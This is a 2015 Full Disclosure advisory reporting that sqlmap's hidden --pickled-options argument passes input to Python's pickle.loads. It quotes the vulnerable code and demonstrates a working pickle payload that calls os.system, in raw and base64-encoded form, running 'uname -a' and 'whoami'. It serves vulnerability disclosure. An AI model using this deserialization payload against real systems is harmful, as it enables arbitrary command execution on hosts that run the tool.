Date: Wed, 9 Dec 2015 04:39:48 -0800
From: Vex Woo <hap.ddup@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] SQLMap Code Execute

Sqlmap Code Execute


Team:   Knownsec Team
Site:   http://www.knownsec.com/


--[ Contents
]----------------------------------------------------------------

1 - Summary
    1.1 Background
    1.2 Demo Platforms

2 - Analysis
    2.1 vulnerable code
    2.2 How can we exploit it ?

3 - Exploitation
    3.1 Demo details

4 - Conclusion

5 - Refs

--[ 1 - Summary
]-------------------------------------------------------------

1.1 Background

    Sqlmap is an open source penetration testing tool that automates the
process
    of detecting and exploiting SQL injection flaws and taking over of
database
    servers. It comes with a powerful detection engine, many niche features
for
    the ultimate penetration tester and a broad range of switches lasting
from
    database fingerprinting, over data fetching from the database, to
accessing
    the underlying file system and executing commands on the operating
system via
    out-of-band connections.

    During a code review, we discovered code execute bugs.


1.2 Demo Platforms:
1. Python 2.7.9 + Linux core 3.18.2-2-ARCH  x86_64 GNU/Linux
2. Python 2.7.8 + Microsoft Windows 6.1.7601 Service Pack 1 Build 7601


--[ 2 - Analysis
]-------------------------------------------------------------

2.1 vulnerable code

    From "https://docs.python.org/2/library/pickle.html", we are warned,

---[[[
The pickle module is not intended to be secure against erroneous or
maliciously constructed data. Never unpickle data received from an
untrusted
or unauthenticated source.
]]]---


    The vulnerable functions [pickle.load] and [pickle.loads], are placed
in,

[nixawk@...e sectools]$ grep --color -n -R 'pickle.load' ./sqlmap/
./sqlmap/thirdparty/bottle/bottle.py:2209:            return
pickle.loads(base64.b64decode(msg))
./sqlmap/lib/core/bigarray.py:79:                    self.chunks[-1] =
pickle.load(fp)
./sqlmap/lib/core/bigarray.py:112:                    self.cache =
Cache(index, pickle.load(fp), False)
./sqlmap/lib/core/convert.py:70:        retVal =
pickle.loads(base64decode(value))
./sqlmap/lib/core/convert.py:72:        retVal =
pickle.loads(base64decode(bytes(value)))


    Now, we treat pickle.loads as a analysis target. function
base64unpickle is from (./sqlmap/lib/core/convert.py:70)

59 def base64unpickle(value):


60     """


61     Decodes value from Base64 to plain format and deserializes (with
pickle) its content

62


63     >>> base64unpickle('gAJVBmZvb2JhcnEALg==')


64     'foobar'


65     """


66


67     retVal = None


68


69     try:


70         retVal = pickle.loads(base64decode(value))


71     except TypeError:


72         retVal = pickle.loads(base64decode(bytes(value)))


73


74     return retVal


2.2 How can we exploit it ?

    After review the sqlmap code, wo know that,
    1. sqlmap cmdline args will be captured by [sqlmap.py] first,
    2. cmdLineParser in main function (sqlmap.py) will parses the command
line parameters.
    3. cmdLineParser is imported from (./lib/parse/cmdline.py), and it will
successfully return [args].
    4. Next, [args] will be used by _mergeOptions (./lib/core/option.py)


                        -------------------------
    [SQLMAP AGRS] ----> |       sqlmap.py        |
---------------------------------------------------
                        -------------------------|------ > |
cmdLineOptions.update(cmdLineParser().__dict__) |
          |             |
---------------------------------------------------
                                   |             |------ > |
initOption(cmdLineOption)                       |
  |           ---------------------------------------------------
                                   ↓
--------------------------
| ./lib/parse/cmdline.py |
-----------------------------------------------------------------
-------------------------------- > | parser.add_option("--pickled-options",
dest="pickledOptions", |
                                   |
-----------------------------------------------------------------
                                   |
  |
                                   ↓
                -------------------------
| ./lib/core/option.py  |
---------------------------------------------------------------------
------------------------------- > | def
initOptions(inputOptions=AttribDict(), overrideOptions=False) |
          |                       |     ....
                           |
  |             |     _mergeOptions(inputOptions, overrideOptions)
         |
                                   |
---------------------------------------------------------------------
  |                                             |
  |           |
  |   |
  |   |
  |
------------------------------------------------------------------
  |     | def _mergeOptions(inputOptions, overrideOptions):              |
  |     |     inputOptions = base64unpickle(inputOptions.pickledOptions) |
  |     ------------------------------------------------------------------
  |
  |
  |
                                   |
  ↓
                -------------------------
| ./lib/core/convert.py |
------------------------------------------------------------------
------------------------------- >   | def base64unpickle(value):
                         |
                                    |     ....
                         |
                                    |     try:
                         |           -----------------
    |         retVal = pickle.loads(base64decode(value))            |
--------- | ^.^ BINGO !!! |
    |     ....                                                      |
    -----------------
    -----------------------------------------------------------------


    What's the matter ? Where is the bug ?
    Yeah, bug is there. command parameters is the root of evil.


    ------------------- ./lib/core/option.py ------------------
1960 def _mergeOptions(inputOptions, overrideOptions):


1961     """


1962     Merge command line options with configuration file and default
options.

1963


1964     @param inputOptions: optparse object with command line options.


1965     @type inputOptions: C{instance}


1966     """


1967


1968     if inputOptions.pickledOptions:


1969         inputOptions = base64unpickle(inputOptions.pickledOptions)


    ------------------- ./lib/parse/cmdline.py ------------------
722         # Hidden and/or experimental options


723         parser.add_option("--dummy", dest="dummy", action="store_true",


724                           help=SUPPRESS_HELP)


725


726         parser.add_option("--pickled-options", dest="pickledOptions",


727                           help=SUPPRESS_HELP)



--[ 3 - Exploitation
]-------------------------------------------------------------

    3.1 Demo details:

        Attention here:
   our payload is "cos\nsystem\n(S'uname -a'\ntR.",
   Anybody can replace "uname -a " with commands which is supported
   by your environment.

For examples,

        -------- Arch Linux ---------------
[nixawk@...e tmp]$ python
Python 2.7.9 (default, Dec 11 2014, 04:42:00)
[GCC 4.9.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> data = "cos\nsystem\n(S'uname -a'\ntR."
>>> import pickle
>>> pickle.loads(data)
Linux core 3.18.2-2-ARCH #1 SMP PREEMPT Fri Jan 9 07:37:51 CET 2015 x86_64
GNU/Linux
0
>>>


        -------- Windows 7 ----------------
C:\Users\nixawk>python
Python 2.7.8 (default, Jun 30 2014, 16:03:49) [MSC v.1500 32 bit (Intel)]
on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> import pickle
>>> data = "cos\nsystem\n(S'whoami'\ntR."
>>> pickle.loads(data)
knownsec\nixawk
0
>>>

[nixawk@...e sqlmap]$ python sqlmap.py --pickled-options
"Y29zCnN5c3RlbQooUyd1bmFtZSAtYScKdFIu"
Linux core 3.18.2-2-ARCH #1 SMP PREEMPT Fri Jan 9 07:37:51 CET 2015 x86_64
GNU/Linux

[10:17:17] [CRITICAL] unhandled exception occurred in
sqlmap/1.0-dev-7388c3b. It is recommended to retry your run with the latest
development version from official GitHub repository at '
https://github.com/sqlmapproject/sqlmap'. If the exception persists, please
open a new issue at 'https://github.com/sqlmapproject/sqlmap/issues/new'
with the following text and any other information required to reproduce the
bug. The developers will try to reproduce the bug, fix it accordingly and
get back to you
sqlmap version: 1.0-dev-7388c3b
Python version: 2.7.9
Operating system: posix
Command line: sqlmap.py --pickled-options
Y29zCnN5c3RlbQooUyd1bmFtZSAtYScKdFIu
Technique: None
Back-end DBMS: None (identified)
Traceback (most recent call last):
 File "sqlmap.py", line 78, in main
   initOptions(cmdLineOptions)
 File "lib/core/option.py", line 2341, in initOptions
   _mergeOptions(inputOptions, overrideOptions)
 File "lib/core/option.py", line 1971, in _mergeOptions
   if inputOptions.configFile:
AttributeError: 'int' object has no attribute 'configFile'

do you want to automatically create a new (anonymized) issue with the
unhandled exception information at the official Github repository? [y/N] >

--[ 4 - Conclusion
]-------------------------------------------------------------
The place where sqlmap can be accessed is our target.


--[ 5 - Refs ]-------------------------------------------------------------

https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf
https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_WP.pdf
https://docs.python.org/2/library/pickle.html
https://blog.nelhage.com/2011/03/exploiting-pickle/

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